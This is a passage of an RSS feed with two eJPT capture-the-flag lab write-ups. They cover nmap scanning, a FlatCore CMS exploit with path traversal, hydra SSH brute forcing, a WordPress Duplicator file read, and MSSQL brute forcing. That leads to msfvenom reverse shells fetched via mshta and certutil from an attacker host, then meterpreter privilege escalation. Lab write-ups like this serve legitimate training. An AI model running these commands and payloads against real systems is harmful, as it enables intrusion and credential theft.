            <content:encoded><![CDATA[<h4>eJPT : Host &amp; Network Penetration Testing: Exploitation CTF 1</h4><p>Let’s start with nmap scan on target1</p><pre>nmap -sV -T4 -Pn -sC -O target1.ine.local -oN target1.txt -oX target1.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFq2eGdynsJMrtvBOrukVw.png" /></figure><p>port 22,80 is open</p><p>lets enumerate HTTP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEH_MO_YdHM0prmh8gYsXA.png" /></figure><pre>searchsploit flatcore cms<br><br>searchsploit -m 50262</pre><p>there is an exploit for flatcore cms lets get on our current directory.</p><pre>python3 50262.py http://target1.ine.local admin password1</pre><p>“Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful”</p><pre>cat ../../../../../../flag1.txt</pre><p>“Further, identify and compromise an insecure system user on target1.ine.local.”</p><pre>cat ../../../../../../../etc/passwd</pre><pre>iamaweakuser:x:1000:1000::/home/iamaweakuser:/bin/bash</pre><p>lets do bruteforce on ssh service for this user.</p><pre>hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local ssh</pre><p>we get the password and login with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*dJO97FzizauKKfxOu3Qy8w.png" /></figure><p>Let’s do nmap scan for second target</p><pre>nmap -sV -T4 -Pn -O -sC target2.ine.local -oN target2.txt -oX target2.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*b5V3UBUCdn0qS8v6SJ9M_A.png" /></figure><p>as we see on nmap scan, ssh and http ports are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LmlpRcDwLldtEl4MbKsWOw.png" /></figure><pre>nmap --script=http-wordpress-enum target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*DADXiCPGn0w2nvudZ-VTvA.png" /></figure><p>there is an exploit for duplicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPWqnz_ghlV8673rNHzDjw.png" /></figure><p>we will use metasploit Arbitrary File Read exploit</p><p>scanner/http/wp_duplicator_file_read</p><p>set RHOSTS</p><p>set filepath /flag3.txt</p><p>run</p><p>and set filepath /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*-e7ibiTtE_MmNvA-R-kFgg.png" /></figure><p>iamacrazyfreeuser</p><p>it has no password, try to login on ssh with this user.</p><pre>ssh iamacrazyfreeuser@target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*nEIP82cZuh3Jq-p1ZC_u1w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85cd5078e400" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT - The Metasploit Framework CTF 1]]></title>
            <link>https://medium.com/@murat_kuzucu/ejpt-the-metasploit-framework-ctf-1-daa754df7578?source=rss-85d1046fac0e------2</link>
            <guid isPermaLink="false">https://medium.com/p/daa754df7578</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ejptv2]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Murat Kuzucu]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 16:35:29 GMT</pubDate>
            <atom:updated>2025-01-08T16:35:29.507Z</atom:updated>
            <content:encoded><![CDATA[<p>Firstly we will start with nmap scan.</p><pre>nmap -sV -T4 -Pn -O target.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dWo_VtGFIvo3V3UqJbEvZQ.png" /><figcaption>:</figcaption></figure><p>As seen in the nmap scan, mssql port 1433 is open. Let’s do bruteforce on msfconsole, with mssql_login module</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocfXIrK07ig938x1bQBNzQ.png" /></figure><p>set unix_users unix_passwords.txt, rhosts and CreateSession to true</p><p>we have found a correct credential with user:sa and obtained a shell.</p><pre>sessions 1<br>help</pre><p>get mssql shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*8uMhIDwdIhikdRAkmqGZDw.png" /></figure><p>we will use mssql_exec module with our session</p><p>background the session and search msfconsole mssql_exec module</p><p>set session 1</p><p>set cmd whoami , for test</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*u7BBBdQjd_Vuqh9NOtje5Q.png" /></figure><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;your_IP&gt; LPORT=&lt;your_port&gt; -f hta-psh -o payload.hta</pre><p>we will use this payload to create a shell for run with module</p><pre>python3 -m http.server 80</pre><p>for serving our shell</p><p>listen our port with netcat</p><pre>nc -lvnp 1234</pre><p>set cmd to:</p><pre>&#39;mshta http://&lt;attacker_ip&gt;/payload.hta&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*2BMVAsV5j7qFW5sCTcLu2w.png" /></figure><p>as we see we did it :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*6qoDRk5II7auB4DAFtuahA.png" /></figure><p>here is our first flag</p><pre>#after we getting shell, go through to meterpreter shell<br>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;your_IP&gt; LPORT=&lt;your_port&gt; -f exe -o shell.exe</pre><pre>#on target<br>certutil.exe -urlcache -split -f http://&lt;attacker_ip&gt;/shell.exe shell.exe</pre><pre>#use multi/handler, set lhost,lport option same as payload settings<br>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set LHOST &lt;your_IP&gt;<br>set LPORT &lt;your_port&gt;<br>exploit</pre><pre>#on target<br>.\shell.exe</pre><pre>#after getting meterpreter shell<br>getsystem</pre><p>so we are … :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*FyyF8lC8I1ucA4ImHcY5sw.png" /></figure><pre>C:\flag1.txt<br>C:\Windows\System32\config\flag2.txt<br>C:\Windows\System32\drivers\etc\EscaltePrivilageToGetThisFlag.txt<br>C:\Users\Administrator\Desktop\flag4.txt</pre><p>Although the solution seems easy, it was not easy to get the first shell :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=daa754df7578" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>